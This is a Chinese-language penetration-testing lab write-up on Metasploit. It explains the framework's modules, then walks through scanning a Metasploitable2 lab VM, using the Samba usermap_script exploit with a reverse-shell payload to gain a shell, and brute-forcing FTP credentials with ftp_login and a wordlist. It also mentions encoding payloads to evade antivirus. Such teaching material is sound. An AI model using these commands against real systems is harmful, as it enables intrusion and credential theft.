metasploit技術
一、實驗目的
1.了解metasploit技術原理
2.學會利用metasokit對目標機器進行滲透攻擊
二、實驗環境
1.系統環境:Windows環境, kali環境,Metasploitable2環境
2.軟件工具:msfconsole
三、實驗原理
Metasploit項目是一個旨在提供安全漏洞信息計算機安全項目,可以協助安全工程師進行滲透測試以及入侵檢測系統簽名開發。
Metasploit框架(Metasploit Framework , MSF)是一個開源工具,由Ruby程序語言編寫的模板化框架,具有很好的擴展性,便於滲透測試人員開發、使用定制的工具模板。
Metasploit可向后端模塊提供多種用來控制測試的接口。推薦使用控制台接口,通過控制台接口,可以訪問和使用所有的Metasploit插件,例如Payloads模塊,Post模塊等。Metasploit還有第三方程序的接口,例如Nmap,SQLMap等,可以直接在控制台接口使用,要訪問該界面,需要在命令行下輸入msfconsole開始使用。
MSF框架由多個模塊組成,各個模塊及其具體的功能如下:
模塊 | 功能 |
---|---|
Auxiliaries(輔助模塊) | 輔助模塊不會直接在測試者和目標之間建立訪問,它們只負責執行掃描,嗅探,指紋識別等相關功能以輔助滲透測試 |
Exploit(漏洞利用模塊) | 漏洞利用是指由滲透測試者利用一個系統、應用或者服務中的安全漏洞進行的攻擊行為。流行的滲透攻擊技術包括緩沖區溢出、Web應用程序攻擊以及利用配置錯誤等,其中包含攻擊者或者測試人員針對系統中的漏洞而設計的各種POC驗證程序,用於破壞系統安全的攻擊代碼,每個漏洞都有相應的攻擊代碼 |
Payload(攻擊載荷模塊) | 攻擊載荷是我們期望目標系統在被滲透攻擊之后完成實際攻擊功能的代碼,成功滲透目標后,用於在目標系統上運行任意命令或者執行特定代碼,在Metasploit框架中可以自由的選擇、傳送和植入。攻擊載荷也可能是簡單地在目標操作系統上執行一些命令,如添加用戶賬號等 |
Post(后期滲透模塊) | 后期滲透模塊主要用於在取得目標系統遠程控制權后,進行一些列的后期滲透攻擊動作,如獲取敏感信息,實施跳板攻擊等 |
Encoders(編碼攻擊模塊) | 編碼攻擊模塊在滲透測試中負責免殺,以防止被殺毒軟件、防火牆、IDS、IPS及類似的安全軟件及設備檢測出來 |
使用Metasploit框架的基本步驟包括:
1.掃描目標主機,尋找可用漏洞
2.選擇並配置一個攻擊代碼(Explolt,利用漏洞來進入目標系統的代碼)
3.檢查目標系統是否會被此代碼影響(可選)
4.選擇並配置一個有效負載(Payload,在成功進入后在目標系統上執行的代碼)
5.選擇編碼方式,使入侵防御系統忽略已被編碼的有效負載,即繞過殺毒軟件的查殺
6.執行攻擊代碼
Meatsploit目錄結構
meatspolit的工作目錄在/usr/share/metasploit-framework
中
- data:meatsploit使用的可編輯文件
- documentation:為框架提供文檔
- lib:框架代碼庫
- modules:實際的MSF模塊
- plugins:可以在運行時加載的插件
- scripts:Meatsploit和其它腳本
- tools:各種有用的命令行工具
Meatsploit常用基本使用命令
啟動
在終端輸入msfconsole
即可啟動
use命令
info
用來查看模塊的相關信息
show options命令
show options
查看利用模塊需要配置的相關信息
set命令
set
設置所利用的模塊的配置
運行攻擊
使用exploit
或者run
就可以開始執行攻擊了
show命令
show
命令的有效參數是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info,options
show exploits #列出框架中的所有滲透攻擊模塊。
show payload #列出metasploit框架中的所有攻擊載荷。
show auxiliary #列出metasploit框架中的所有輔助攻擊載荷。
show options #查看利用的模塊相關信息
四、實驗步驟
本次實驗目標機是Metasploitable2系統,在kali中使用Metasploit對目標機Metasploitable2進行滲透攻擊。Metasploitable2系統的虛擬鏡像的下載地址為:https://sourceforge.net/projects/metasploitable/files/Metasploitable2/,打開網址點擊metasploitable-linux-2.0.0.zip進行下載即可,如下圖所示:
1. 安裝滲透目標機器
首選將metasploitable-linux-2.0.0.zip解壓,在VMware中點擊文件-打開,進入剛解壓的metasploitable-linux-2.0.0文件夾中,選中文件並點擊打開按鈕。
Metasploitable2靶機開始啟動,虛擬機啟動完成之后使用用戶名msfadmin
,密碼msfadmin
登錄,如下圖所示:
登錄成功后,使用shell運行ifconfig命令來查看IP地址(192.168.70.138),如下圖所示:
2. 主機掃描
滲透測試的第一步為掃描和搜集信息,盡可能的發現更多的關於目標機器的信息,如目標機器IP地址、可用服務、開放端口等等,獲取的信息越多,滲透的概率就越大,打開kali系統,打開終端,輸入啟動命令:msfconsole
,如下圖所示:
Auxiliaries(輔助模塊)主要負責執行掃描、嗅探、指紋識別等功能用於輔助滲透測試,輸入命令:search portsacn
搜索可用的端口掃描模塊,如下圖所示:
從上述圖中可以看出包含各種掃描類型的可用掃描器列表auxiliary/scanner/portscan/tcp
為例,輸入use
命令使用該模塊,然后輸入show options
命令查看需要設置的參數,如下圖所示:
圖中列出了各項參數以及對應參數的描述,Required為yes表示此項參數必須包含值,如圖中Name為RHOSTS的Current Setting為空,所以需要人為對其進行設置,從其描述來看,此項表示為待掃描的IP地址,輸入set
命令設置Metasploitable2主機的IP地址為攻擊IP,如下圖所示:
其他的重要參數如PORTS表示掃描端口的范圍,THREADS表示掃描線程數等等,同樣通過set
命令對PORTS以及THREADS進行設置,如下圖所示:
確認參數沒有錯誤后,屬於命令run
開啟掃描,掃描結果如下圖所示:
在Metasploit中同樣可以使用Nmap掃描,它不僅僅可以用來確定網絡上計算機的存活狀態,而且可以掃描計算機的操作系統、開放端口、服務等等
在msf命令提示符下輸入namp
,就可以顯示Nmap提供的掃描選項列表,如下圖所示:
3. 漏洞利用
首先對Metasploitable2靶機進行掃描,使用Nmap對其進行掃描查看其開放的端口和相關服務的應用程序用以搜集有用的服務信息,例如:在kali終端輸入命令:nmap -sV 192.168.70.138
,使用Nmap掃描並查看開放端口和相關應用程序,如下圖所示:
搜集到目標靶機信息之后,選擇合適的Exploit和Payload,從上圖掃描結果中可以看到目標靶機上運行了Samba服務,Samba是Linux和unix系統上實現SMB協議的一個免費軟件,由服務器及客戶端程序構成。SMB(Server Messages Block,信息服務)是一種在局域網上共享文件和打印機的一種通信協議,它為局域網內的不同計算機之間提供文件及打印機等資源的共享服務
輸入search samba
命令搜索Samba的可以利用的漏洞模塊,搜索結果如下圖所示:
從圖中可以看到列出了可用的漏洞利用模塊的列表,選擇exploit/multi/samba/usermap_script
此模塊來進行滲透
首先輸入命令info exploit/multi/samba/usermap_script
查看此模塊的詳細信息,如下圖所示:
輸入命令use exploit/multi/samba/usermap_script
即可使用該漏洞模塊,如下圖所示:
可以看到命令提示符msf>變成了msf exploit(multi/samba/usermap_script)>,繼續輸入命令show payloads
即可查看該漏洞利用模塊下可以選擇的攻擊載荷模塊,如下圖所示:
接下來選擇基礎的cmd/unix/reverse反響攻擊載荷模塊,輸入命令set payload cmd/unix/reverse
設置被攻擊主機的IP地址,輸入命令:set RHOSTS 192.168.70.138
設置漏洞利用的端口號,輸入命令:set RPORT 445
設置攻擊主機的IP地址,輸入命令:set LHOST 192.168.70.134
設置過程如下圖所示:
設置完成后,執行攻擊代碼的命令為run
,攻擊,結果如下圖所示:
發送攻擊成功之后會獲取目標靶機的shell,為驗證該shell是否為目標靶機Metasploitable2的,可以輸入命令查詢主機名,系統信息以及網絡配置等等,如下圖所示:
從圖中可以看出,攻擊主機shell獲取的信息確實與Metasploitable2靶機一致,說明對其滲透攻擊成功!
4. 利用ftp_login漏洞破譯用戶名,密碼
首先打開Windows7的FTP服務,設置用戶名:zsz
,密碼:123456
輸入search ftp_login
命令搜索ftp_login的可以利用的漏洞模塊,搜索結果如下圖所示:
從圖中可以看到列出了可用的漏洞利用模塊的列表,選擇auxiliary/scanner/ftp/ftp_login
此模塊來進行滲透,首先輸入命令use auxiliary/scanner/ftp/ftp_login
即可使用該漏洞模塊,如下圖所示:
接下來輸入show options
查看需要配置的信息,如下圖所示:
設置被攻擊主機的IP地址,輸入命令:set RHOSTS 192.168.70.133
設置被攻擊的FTP的用戶名,輸入命令:set USERNAME zsz
設置密碼字典路徑,輸入命令:set PASS_FILE /usr/share/wordlists/fasttrack.txt
設置完成后,執行攻擊代碼的命令為run
,攻擊,結果如下圖所示:
成功利用ftp_login漏洞模塊破譯出了Windows7主機的FTP登錄用戶名密碼!